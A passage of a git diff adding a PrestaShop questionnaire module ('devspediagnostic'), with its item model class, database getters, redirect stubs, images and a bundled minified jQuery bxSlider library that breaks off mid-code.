$this->clearCache(); + } + + public function headerHTML() + { + if (Tools::getValue('controller') != 'AdminModules' && Tools::getValue('configure') != $this->name) + return; + + $this->context->controller->addJqueryUI('ui.sortable'); + /* Style & js for fieldset 'items configuration' */ + $html = ' + + + '; + + return $html; + } + + public function getNextPosition() + { + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT MAX(hss.`position`) AS `next_position` + FROM `'._DB_PREFIX_.'devspediagnostic_items` hss'); + + return (++$row['next_position']); + } + + public function getitems($active = null) + { + $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hss.`id_item` as id_item, + hss.`position`, + hss.`active`, + hssl.`question`, + hssl.`repA`, + hssl.`repB`, + hssl.`repC`, + hssl.`repD`, + hssl.`repE`, + hssl.`texterepA`, + hssl.`texterepB`, + hssl.`texterepC`, + hssl.`texterepD`, + hssl.`texterepE` + FROM '._DB_PREFIX_.'devspediagnostic_items hss + LEFT JOIN '._DB_PREFIX_.'devspediagnostic_items_lang hssl ON (hss.id_item = hssl.id_item) + WHERE hssl.id_lang = '.(int)$id_lang.' + ORDER BY hss.position asc'); + // ($active ? ' AND hss.`active` = 1' : ' ') + } + public function getitemsMasquerquestions($active = null) + { + $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * + FROM '._DB_PREFIX_.'devspediagnostic_masquerquestions + ORDER BY id_masquerquestion asc'); + // ($active ? ' AND hss.`active` = 1' : ' ') + } + public function getitemsConditions($active = null) + { + $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * + FROM '._DB_PREFIX_.'devspediagnostic_conditions + ORDER BY id_condition asc'); + // ($active ? ' AND hss.`active` = 1' : ' ') + } + public function getitemsReorientations($active = null) + { + $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * + FROM '._DB_PREFIX_.'devspediagnostic_reorientations + ORDER BY id_reorientation asc'); + // ($active ? ' AND hss.`active` = 1' : ' ') + } +public function getitemsSubstitution($active = null) + { + $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * + FROM '._DB_PREFIX_.'devspediagnostic_substitutions + ORDER BY id_substitution asc'); + // ($active ? ' AND hss.`active` = 1' : ' ') + } + + public function displayStatus($id_item, $active) + { + $title = ((int)$active == 0 ? $this->l('Disabled') : $this->l('Enabled')); + $img = ((int)$active == 0 ? 'disabled.gif' : 'enabled.gif'); + $html = ''; + return $html; + } + + public function itemExists($id_item) + { + $req = 'SELECT hss.`id_item` as id_item + FROM `'._DB_PREFIX_.'devspediagnostic_items` hss + WHERE hss.`id_item` = '.(int)$id_item; + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($req); + return ($row); + } +} diff --git a/modules/devspediagnostic/devspediagnostic.tpl b/modules/devspediagnostic/devspediagnostic.tpl new file mode 100755 index 0000000..e69de29 diff --git a/modules/devspediagnostic/diagnostic.php b/modules/devspediagnostic/diagnostic.php new file mode 100755 index 0000000..313555c --- /dev/null +++ b/modules/devspediagnostic/diagnostic.php @@ -0,0 +1,143 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class Diagnostic extends ObjectModel +{ + public $question; + + public $repA; + public $repB; + public $repC; + public $repD; + public $repE; + public $texterepA; + public $texterepB; + public $texterepC; + public $texterepD; + public $texterepE; + + public $active; + public $position; + // public $id_product; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'devspediagnostic_items', + 'primary' => 'id_item', + 'multilang' => true, + 'fields' => array( + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => false), + + // Lang fields + 'question' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + 'repA' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + 'repB' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + 'repC' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => false, 'size' => 255), + 'repD' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => false, 'size' => 255), + 'repE' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => false, 'size' => 255), + 'texterepA' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString', 'required' => false, 'size' => 1800), + 'texterepB' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString', 'required' => false, 'size' => 1800), + 'texterepC' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString', 'required' => false, 'size' => 1800), + 'texterepD' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString', 'required' => false, 'size' => 1800), + 'texterepE' => array('type' => self::TYPE_HTML, 'lang' => true, 'validate' => 'isString', 'required' => false, 'size' => 1800), + ) + ); + + public function __construct($id_item = null, $id_lang = null, $id_shop = null, Context $context = null) + { + parent::__construct($id_item, $id_lang, $id_shop); + } + + public function add($autodate = true, $null_values = false) + { + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $res = parent::add($autodate, $null_values); + // $res &= Db::getInstance()->execute(' + // INSERT INTO `'._DB_PREFIX_.'devspediagnostic` (`id_shop`, `id_item`) + // VALUES('.(int)$id_shop.', '.(int)$this->id.')' + // ); + return $res; + } + + public function delete() + { + $res = true; + + $images = $this->image; + foreach ($images as $image) + { + if (preg_match('/sample/', $image) === 0) + if ($image && file_exists(dirname(__FILE__).'/images/'.$image)) + $res &= @unlink(dirname(__FILE__).'/images/'.$image); + } + + $res &= $this->reOrderPositions(); + + $res &= Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'devspediagnostic_items` + WHERE `id_item` = '.(int)$this->id + ); + + $res &= parent::delete(); + return $res; + } + + public function reOrderPositions() + { + $id_item = $this->id; + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $max = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT MAX(hss.`position`) as position + FROM `'._DB_PREFIX_.'devspediagnostic_items` hss '); + + if ((int)$max == (int)$id_item) + return true; + + $rows = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hss.`position` as position, hss.`id_item` as id_item + FROM `'._DB_PREFIX_.'devspediagnostic_items` hss + WHERE hss.`position` > '.(int)$this->position + ); + + foreach ($rows as $row) + { + $current_item = new Diagnostic($row['id_item']); + --$current_item->position; + $current_item->update(); + unset($current_item); + } + + return true; + } + +} diff --git a/modules/devspediagnostic/gray_next.png b/modules/devspediagnostic/gray_next.png new file mode 100755 index 0000000..0f627e7 Binary files /dev/null and b/modules/devspediagnostic/gray_next.png differ diff --git a/modules/devspediagnostic/gray_next0.png b/modules/devspediagnostic/gray_next0.png new file mode 100755 index 0000000..f7e93ee Binary files /dev/null and b/modules/devspediagnostic/gray_next0.png differ diff --git a/modules/devspediagnostic/gray_pager.png b/modules/devspediagnostic/gray_pager.png new file mode 100755 index 0000000..f4780d2 Binary files /dev/null and b/modules/devspediagnostic/gray_pager.png differ diff --git a/modules/devspediagnostic/gray_prev.png b/modules/devspediagnostic/gray_prev.png new file mode 100755 index 0000000..a7bfa9a Binary files /dev/null and b/modules/devspediagnostic/gray_prev.png differ diff --git a/modules/devspediagnostic/gray_prev0.png b/modules/devspediagnostic/gray_prev0.png new file mode 100755 index 0000000..6091650 Binary files /dev/null and b/modules/devspediagnostic/gray_prev0.png differ diff --git a/modules/devspediagnostic/images/15d4a10c19998339cd4991d004649935.jpg b/modules/devspediagnostic/images/15d4a10c19998339cd4991d004649935.jpg new file mode 100755 index 0000000..aa14ce5 Binary files /dev/null and b/modules/devspediagnostic/images/15d4a10c19998339cd4991d004649935.jpg differ diff --git a/modules/devspediagnostic/images/2970e3578c7b29eab6b52bc816b76fdc.jpg b/modules/devspediagnostic/images/2970e3578c7b29eab6b52bc816b76fdc.jpg new file mode 100755 index 0000000..121bb05 Binary files /dev/null and b/modules/devspediagnostic/images/2970e3578c7b29eab6b52bc816b76fdc.jpg differ diff --git a/modules/devspediagnostic/images/4e0cf88ae5a65c2e7ffb8305de8a076d.jpg b/modules/devspediagnostic/images/4e0cf88ae5a65c2e7ffb8305de8a076d.jpg new file mode 100755 index 0000000..35f4d07 Binary files /dev/null and b/modules/devspediagnostic/images/4e0cf88ae5a65c2e7ffb8305de8a076d.jpg differ diff --git a/modules/devspediagnostic/images/5b4f2c956a6da254936a8c2abd05cca8.jpg b/modules/devspediagnostic/images/5b4f2c956a6da254936a8c2abd05cca8.jpg new file mode 100755 index 0000000..c17aead Binary files /dev/null and b/modules/devspediagnostic/images/5b4f2c956a6da254936a8c2abd05cca8.jpg differ diff --git a/modules/devspediagnostic/images/6bba4c9e2e05072f46426c626979936d.jpg b/modules/devspediagnostic/images/6bba4c9e2e05072f46426c626979936d.jpg new file mode 100755 index 0000000..a4000d8 Binary files /dev/null and b/modules/devspediagnostic/images/6bba4c9e2e05072f46426c626979936d.jpg differ diff --git a/modules/devspediagnostic/images/77db088380fed6bf7509cc6b3f9ec307.jpg b/modules/devspediagnostic/images/77db088380fed6bf7509cc6b3f9ec307.jpg new file mode 100755 index 0000000..3c3005f Binary files /dev/null and b/modules/devspediagnostic/images/77db088380fed6bf7509cc6b3f9ec307.jpg differ diff --git a/modules/devspediagnostic/images/7c57f6e8d481cc7f0ad0a14779b0cc17.jpg b/modules/devspediagnostic/images/7c57f6e8d481cc7f0ad0a14779b0cc17.jpg new file mode 100755 index 0000000..35f4d07 Binary files /dev/null and b/modules/devspediagnostic/images/7c57f6e8d481cc7f0ad0a14779b0cc17.jpg differ diff --git a/modules/devspediagnostic/images/8a4a1ad6be304081a1fc192a41ea496e.png b/modules/devspediagnostic/images/8a4a1ad6be304081a1fc192a41ea496e.png new file mode 100755 index 0000000..be25e2e Binary files /dev/null and b/modules/devspediagnostic/images/8a4a1ad6be304081a1fc192a41ea496e.png differ diff --git a/modules/devspediagnostic/images/970272dc4566a2a78288655ecfc78d19.jpg b/modules/devspediagnostic/images/970272dc4566a2a78288655ecfc78d19.jpg new file mode 100755 index 0000000..c17aead Binary files /dev/null and b/modules/devspediagnostic/images/970272dc4566a2a78288655ecfc78d19.jpg differ diff --git a/modules/devspediagnostic/images/b444cf9c88988c8a57b5a976b77146fe.jpg b/modules/devspediagnostic/images/b444cf9c88988c8a57b5a976b77146fe.jpg new file mode 100755 index 0000000..c17aead Binary files /dev/null and b/modules/devspediagnostic/images/b444cf9c88988c8a57b5a976b77146fe.jpg differ diff --git a/modules/devspediagnostic/images/c07c010d694e950d22d4b982f21fb7d9.jpg b/modules/devspediagnostic/images/c07c010d694e950d22d4b982f21fb7d9.jpg new file mode 100755 index 0000000..35f4d07 Binary files /dev/null and b/modules/devspediagnostic/images/c07c010d694e950d22d4b982f21fb7d9.jpg differ diff --git a/modules/devspediagnostic/images/e1eac55595c4737a1ebd893226cd0a91.jpg b/modules/devspediagnostic/images/e1eac55595c4737a1ebd893226cd0a91.jpg new file mode 100755 index 0000000..c17aead Binary files /dev/null and b/modules/devspediagnostic/images/e1eac55595c4737a1ebd893226cd0a91.jpg differ diff --git a/modules/devspediagnostic/images/f9f833805d7e8eb1a63382e1d694bc97.jpg b/modules/devspediagnostic/images/f9f833805d7e8eb1a63382e1d694bc97.jpg new file mode 100755 index 0000000..dbc96c8 Binary files /dev/null and b/modules/devspediagnostic/images/f9f833805d7e8eb1a63382e1d694bc97.jpg differ diff --git a/modules/devspediagnostic/index.php b/modules/devspediagnostic/index.php new file mode 100755 index 0000000..a230e5a --- /dev/null +++ b/modules/devspediagnostic/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspediagnostic/js/homeslider.js b/modules/devspediagnostic/js/homeslider.js new file mode 100755 index 0000000..62e5756 --- /dev/null +++ b/modules/devspediagnostic/js/homeslider.js @@ -0,0 +1,46 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +$(function(){ + + if (typeof(homeslider_speed) == 'undefined') + homeslider_speed = 500; + if (typeof(homeslider_pause) == 'undefined') + homeslider_pause = 3000; + if (typeof(homeslider_loop) == 'undefined') + homeslider_loop = true; + + $('#homeslider').bxSlider({ + infiniteLoop: homeslider_loop, + hideControlOnEnd: true, + pager: false, + autoHover: true, + auto: homeslider_loop, + speed: homeslider_speed, + pause: homeslider_pause, + controls: true + }); +}); \ No newline at end of file diff --git a/modules/devspediagnostic/js/index.php b/modules/devspediagnostic/js/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/devspediagnostic/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspediagnostic/js/jquery.bxSlider.min.js b/modules/devspediagnostic/js/jquery.bxSlider.min.js new file mode 100755 index 0000000..a214174 --- /dev/null +++ b/modules/devspediagnostic/js/jquery.bxSlider.min.js @@ -0,0 +1,115 @@ +/** + * WARNING : library has been patched (search for START PATCH tag) from base version 3.0 to fix an error with IE < 9 + * jQuery bxSlider v3.0 + * http://bxslider.com + * + * Copyright 2010, Steven Wanderski + * http://stevenwanderski.com + * + * Free to use and abuse under the MIT license. + * http://www.opensource.org/licenses/mit-license.php + * + */ +(function($){$.fn.bxSlider=function(options){var defaults={mode:'horizontal',infiniteLoop:true,hideControlOnEnd:false,controls:true,speed:500,easing:'swing',pager:false,pagerSelector:null,pagerType:'full',pagerLocation:'bottom',pagerShortSeparator:'/',pagerActiveClass:'pager-active',nextText:'next',nextImage:'',nextSelector:null,prevText:'prev',prevImage:'',prevSelector:null,captions:false,captionsSelector:null,auto:false,autoDirection:'next',autoControls:false,autoControlsSelector:null,autoStart:true,autoHover:false,autoDelay:0,pause:3000,startText:'start',startImage:'',stopText:'stop',stopImage:'',ticker:false,tickerSpeed:5000,tickerDirection:'next',tickerHover:false,wrapperClass:'bx-wrapper',startingSlide:0,displaySlideQty:1,moveSlideQty:1,randomStart:false,onBeforeSlide:function(){},onAfterSlide:function(){},onLastSlide:function(){},onFirstSlide:function(){},onNextSlide:function(){},onPrevSlide:function(){},buildPager:null} +var options=$.extend(defaults,options);var base=this;var $parent='';var $origElement='';var $children='';var $outerWrapper='';var $firstChild='';var childrenWidth='';var childrenOuterWidth='';var wrapperWidth='';var wrapperHeight='';var $pager='';var interval='';var $autoControls='';var $stopHtml='';var $startContent='';var $stopContent='';var autoPlaying=true;var loaded=false;var childrenMaxWidth=0;var childrenMaxHeight=0;var currentSlide=0;var origLeft=0;var origTop=0;var origShowWidth=0;var origShowHeight=0;var tickerLeft=0;var tickerTop=0;var isWorking=false;var firstSlide=0;var lastSlide=$children.length-1;this.goToSlide=function(number,stopAuto){if(!isWorking){isWorking=true;currentSlide=number;options.onBeforeSlide(currentSlide,$children.length,$children.eq(currentSlide));if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +if(stopAuto){if(options.auto){base.stopShow(true);}} +slide=number;if(slide==firstSlide){options.onFirstSlide(currentSlide,$children.length,$children.eq(currentSlide));} +if(slide==lastSlide){options.onLastSlide(currentSlide,$children.length,$children.eq(currentSlide));} +if(options.mode=='horizontal'){$parent.animate({'left':'-'+getSlidePosition(slide,'left')+'px'},options.speed,options.easing,function(){isWorking=false;options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='vertical'){$parent.animate({'top':'-'+getSlidePosition(slide,'top')+'px'},options.speed,options.easing,function(){isWorking=false;options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='fade'){setChildrenFade();} +checkEndControls();if(options.moveSlideQty>1){number=Math.floor(number/options.moveSlideQty);} +makeSlideActive(number);showCaptions();}} +this.goToNextSlide=function(stopAuto){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +if(stopAuto){if(options.auto){base.stopShow(true);}} +if(!options.infiniteLoop){if(!isWorking){var slideLoop=false;currentSlide=(currentSlide+(options.moveSlideQty));if(currentSlide<=lastSlide){checkEndControls();options.onNextSlide(currentSlide,$children.length,$children.eq(currentSlide));base.goToSlide(currentSlide);}else{currentSlide-=options.moveSlideQty;}}}else{if(!isWorking){isWorking=true;var slideLoop=false;currentSlide=(currentSlide+options.moveSlideQty);if(currentSlide>lastSlide){currentSlide=currentSlide%$children.length;slideLoop=true;} +options.onNextSlide(currentSlide,$children.length,$children.eq(currentSlide));options.onBeforeSlide(currentSlide,$children.length,$children.eq(currentSlide));if(options.mode=='horizontal'){var parentLeft=(options.moveSlideQty*childrenOuterWidth);$parent.animate({'left':'-='+parentLeft+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('left','-'+getSlidePosition(currentSlide,'left')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='vertical'){var parentTop=(options.moveSlideQty*childrenMaxHeight);$parent.animate({'top':'-='+parentTop+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('top','-'+getSlidePosition(currentSlide,'top')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='fade'){setChildrenFade();} +if(options.moveSlideQty>1){makeSlideActive(Math.ceil(currentSlide/options.moveSlideQty));}else{makeSlideActive(currentSlide);} +showCaptions();}}} +this.goToPreviousSlide=function(stopAuto){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +if(stopAuto){if(options.auto){base.stopShow(true);}} +if(!options.infiniteLoop){if(!isWorking){var slideLoop=false;currentSlide=currentSlide-options.moveSlideQty;if(currentSlide<0){currentSlide=0;if(options.hideControlOnEnd){$('.bx-prev',$outerWrapper).hide();}} +checkEndControls();options.onPrevSlide(currentSlide,$children.length,$children.eq(currentSlide));base.goToSlide(currentSlide);}}else{if(!isWorking){isWorking=true;var slideLoop=false;currentSlide=(currentSlide-(options.moveSlideQty));if(currentSlide<0){negativeOffset=(currentSlide%$children.length);if(negativeOffset==0){currentSlide=0;}else{currentSlide=($children.length)+negativeOffset;} +slideLoop=true;} +options.onPrevSlide(currentSlide,$children.length,$children.eq(currentSlide));options.onBeforeSlide(currentSlide,$children.length,$children.eq(currentSlide));if(options.mode=='horizontal'){var parentLeft=(options.moveSlideQty*childrenOuterWidth);$parent.animate({'left':'+='+parentLeft+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('left','-'+getSlidePosition(currentSlide,'left')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='vertical'){var parentTop=(options.moveSlideQty*childrenMaxHeight);$parent.animate({'top':'+='+parentTop+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('top','-'+getSlidePosition(currentSlide,'top')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='fade'){setChildrenFade();} +if(options.moveSlideQty>1){makeSlideActive(Math.ceil(currentSlide/options.moveSlideQty));}else{makeSlideActive(currentSlide);} +showCaptions();}}} +this.goToFirstSlide=function(stopAuto){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +base.goToSlide(firstSlide,stopAuto);} +this.goToLastSlide=function(){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +base.goToSlide(lastSlide,stopAuto);} +this.getCurrentSlide=function(){return currentSlide;} +this.getSlideCount=function(){return $children.length;} +this.stopShow=function(changeText){clearInterval(interval);if(typeof(changeText)=='undefined'){var changeText=true;} +if(changeText&&options.autoControls){$autoControls.html($startContent).removeClass('stop').addClass('start');autoPlaying=false;}} +this.startShow=function(changeText){if(typeof(changeText)=='undefined'){var changeText=true;} +setAutoInterval();if(changeText&&options.autoControls){$autoControls.html($stopContent).removeClass('start').addClass('stop');autoPlaying=true;}} +this.stopTicker=function(changeText){$parent.stop();if(typeof(changeText)=='undefined'){var changeText=true;} +if(changeText&&options.ticker){$autoControls.html($startContent).removeClass('stop').addClass('start');autoPlaying=false;}} +this.startTicker=function(changeText){if(options.mode=='horizontal'){if(options.tickerDirection=='next'){var stoppedLeft=parseInt($parent.css('left'));var remainingDistance=(origShowWidth+stoppedLeft)+$children.eq(0).width();}else if(options.tickerDirection=='prev'){var stoppedLeft=-parseInt($parent.css('left'));var remainingDistance=(stoppedLeft)-$children.eq(0).width();} +var finishingSpeed=(remainingDistance*options.tickerSpeed)/origShowWidth;moveTheShow(tickerLeft,remainingDistance,finishingSpeed);}else if(options.mode=='vertical'){if(options.tickerDirection=='next'){var stoppedTop=parseInt($parent.css('top'));var remainingDistance=(origShowHeight+stoppedTop)+$children.eq(0).height();}else if(options.tickerDirection=='prev'){var stoppedTop=-parseInt($parent.css('top'));var remainingDistance=(stoppedTop)-$children.eq(0).height();} +var finishingSpeed=(remainingDistance*options.tickerSpeed)/origShowHeight;moveTheShow(tickerTop,remainingDistance,finishingSpeed);if(typeof(changeText)=='undefined'){var changeText=true;} +if(changeText&&options.ticker){$autoControls.html($stopContent).removeClass('start').addClass('stop');autoPlaying=true;}}} +this.initShow=function(){$parent=$(this);$origElement=$parent.clone();$children=$parent.children();$outerWrapper='';$firstChild=$parent.children(':first');childrenWidth=$firstChild.width();childrenMaxWidth=0;childrenOuterWidth=$firstChild.outerWidth();childrenMaxHeight=0;wrapperWidth=getWrapperWidth();wrapperHeight=getWrapperHeight();isWorking=false;$pager='';currentSlide=0;origLeft=0;origTop=0;interval='';$autoControls='';$stopHtml='';$startContent='';$stopContent='';autoPlaying=true;loaded=false;origShowWidth=0;origShowHeight=0;tickerLeft=0;tickerTop=0;firstSlide=0;lastSlide=$children.length-1;$children.each(function(index){if($(this).outerHeight()>childrenMaxHeight){childrenMaxHeight=$(this).outerHeight();} +if($(this).outerWidth()>childrenMaxWidth){childrenMaxWidth=$(this).outerWidth();}});if(options.randomStart){var randomNumber=Math.floor(Math.random()*$children.length);currentSlide=randomNumber;origLeft=childrenOuterWidth*(options.moveSlideQty+randomNumber);origTop=childrenMaxHeight*(options.moveSlideQty+randomNumber);}else{currentSlide=options.startingSlide;origLeft=childrenOuterWidth*(options.moveSlideQty+options.startingSlide);origTop=childrenMaxHeight*(options.moveSlideQty+options.startingSlide);} +initCss();if(options.pager&&!options.ticker){if(options.pagerType=='full'){showPager('full');}else if(options.pagerType=='short'){showPager('short');}} +if(options.controls&&!options.ticker){setControlsVars();} +if(options.auto||options.ticker){if(options.autoControls){setAutoControlsVars();} +if(options.autoStart){setTimeout(function(){base.startShow(true);},options.autoDelay);}else{base.stopShow(true);} +if(options.autoHover&&!options.ticker){setAutoHover();}} +if(options.moveSlideQty>1){makeSlideActive(Math.ceil(currentSlide/options.moveSlideQty));}else{makeSlideActive(currentSlide);} +checkEndControls();if(options.captions){showCaptions();} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));} +this.destroyShow=function(){clearInterval(interval);$('.bx-next, .bx-prev, .bx-pager, .bx-auto',$outerWrapper).remove();$parent.unwrap().unwrap().removeAttr('style');$parent.children().removeAttr('style').not('.pager').remove();$children.removeClass('pager');} +this.reloadShow=function(){base.destroyShow();base.initShow();} +function initCss(){setChildrenLayout(options.startingSlide);if(options.mode=='horizontal'){$parent.wrap('
          ').wrap('
          ').css({width:'999999px',position:'relative',left:'-'+(origLeft)+'px'});$parent.children().css({width:childrenWidth,'float':'left',listStyle:'none'});$outerWrapper=$parent.parent().parent();$children.addClass('pager');}else if(options.mode=='vertical'){$parent.wrap('
          ').wrap('
          ').css({height:'999999px',position:'relative',top:'-'+(origTop)+'px'});$parent.children().css({listStyle:'none',height:childrenMaxHeight});$outerWrapper=$parent.parent().parent();$children.addClass('pager');}else if(options.mode=='fade'){$parent.wrap('
          ').wrap('
          ');$parent.children().css({listStyle:'none',position:'absolute',top:0,left:0,zIndex:98});$outerWrapper=$parent.parent().parent();$children.not(':eq('+currentSlide+')').fadeTo(0,0);$children.eq(currentSlide).css('zIndex',99);} +if(options.captions&&options.captionsSelector==null){$outerWrapper.append('
          ');}} +function setChildrenLayout(){if(options.mode=='horizontal'||options.mode=='vertical'){var $prependedChildren=getArraySample($children,0,options.moveSlideQty,'backward');$.each($prependedChildren,function(index){$parent.prepend($(this));});var totalNumberAfterWindow=($children.length+options.moveSlideQty)-1;var pagerExcess=$children.length-options.displaySlideQty;var numberToAppend=totalNumberAfterWindow-pagerExcess;var $appendedChildren=getArraySample($children,0,numberToAppend,'forward');if(options.infiniteLoop){$.each($appendedChildren,function(index){$parent.append($(this));});}}} +function setControlsVars(){if(options.nextImage!=''){nextContent=options.nextImage;nextType='image';}else{nextContent=options.nextText;nextType='text';} +if(options.prevImage!=''){prevContent=options.prevImage;prevType='image';}else{prevContent=options.prevText;prevType='text';} +showControls(nextType,nextContent,prevType,prevContent);} +function setAutoInterval(){if(options.auto){if(!options.infiniteLoop){if(options.autoDirection=='next'){interval=setInterval(function(){currentSlide+=options.moveSlideQty;if(currentSlide>lastSlide){currentSlide=currentSlide%$children.length;} +base.goToSlide(currentSlide,false);},options.pause);}else if(options.autoDirection=='prev'){interval=setInterval(function(){currentSlide-=options.moveSlideQty;if(currentSlide<0){negativeOffset=(currentSlide%$children.length);if(negativeOffset==0){currentSlide=0;}else{currentSlide=($children.length)+negativeOffset;}} +base.goToSlide(currentSlide,false);},options.pause);}}else{if(options.autoDirection=='next'){interval=setInterval(function(){base.goToNextSlide(false);},options.pause);}else if(options.autoDirection=='prev'){interval=setInterval(function(){base.goToPreviousSlide(false);},options.pause);}}}else if(options.ticker){options.tickerSpeed*=10;$('.pager',$outerWrapper).each(function(index){origShowWidth+=$(this).width();origShowHeight+=$(this).height();});if(options.tickerDirection=='prev'&&options.mode=='horizontal'){$parent.css('left','-'+(origShowWidth+origLeft)+'px');}else if(options.tickerDirection=='prev'&&options.mode=='vertical'){$parent.css('top','-'+(origShowHeight+origTop)+'px');} +if(options.mode=='horizontal'){tickerLeft=parseInt($parent.css('left'));moveTheShow(tickerLeft,origShowWidth,options.tickerSpeed);}else if(options.mode=='vertical'){tickerTop=parseInt($parent.css('top'));moveTheShow(tickerTop,origShowHeight,options.tickerSpeed);} +if(options.tickerHover){setTickerHover();}}} +function moveTheShow(leftCss,distance,speed){if(options.mode=='horizontal'){if(options.tickerDirection=='next'){$parent.animate({'left':'-='+distance+'px'},speed,'linear',function(){$parent.css('left',leftCss);moveTheShow(leftCss,origShowWidth,options.tickerSpeed);});}else if(options.tickerDirection=='prev'){$parent.animate({'left':'+='+distance+'px'},speed,'linear',function(){$parent.css('left',leftCss);moveTheShow(leftCss,origShowWidth,options.tickerSpeed);});}}else if(options.mode=='vertical'){if(options.tickerDirection=='next'){$parent.animate({'top':'-='+distance+'px'},speed,'linear',function(){$parent.css('top',leftCss);moveTheShow(leftCss,origShowHeight,options.tickerSpeed);});}else if(options.tickerDirection=='prev'){$parent.animate({'top':'+='+distance+'px'},speed,'linear',function(){$parent.css('top',leftCss);moveTheShow(leftCss,origShowHeight,options.tickerSpeed);});}}} +function setAutoControlsVars(){if(options.startImage!=''){startContent=options.startImage;startType='image';}else{startContent=options.startText;startType='text';} +if(options.stopImage!=''){stopContent=options.stopImage;stopType='image';}else{stopContent=options.stopText;stopType='text';} +showAutoControls(startType,startContent,stopType,stopContent);} +function setAutoHover(){$outerWrapper.find('.bx-window').hover(function(){if(autoPlaying){base.stopShow(false);}},function(){if(autoPlaying){base.startShow(false);}});} +function 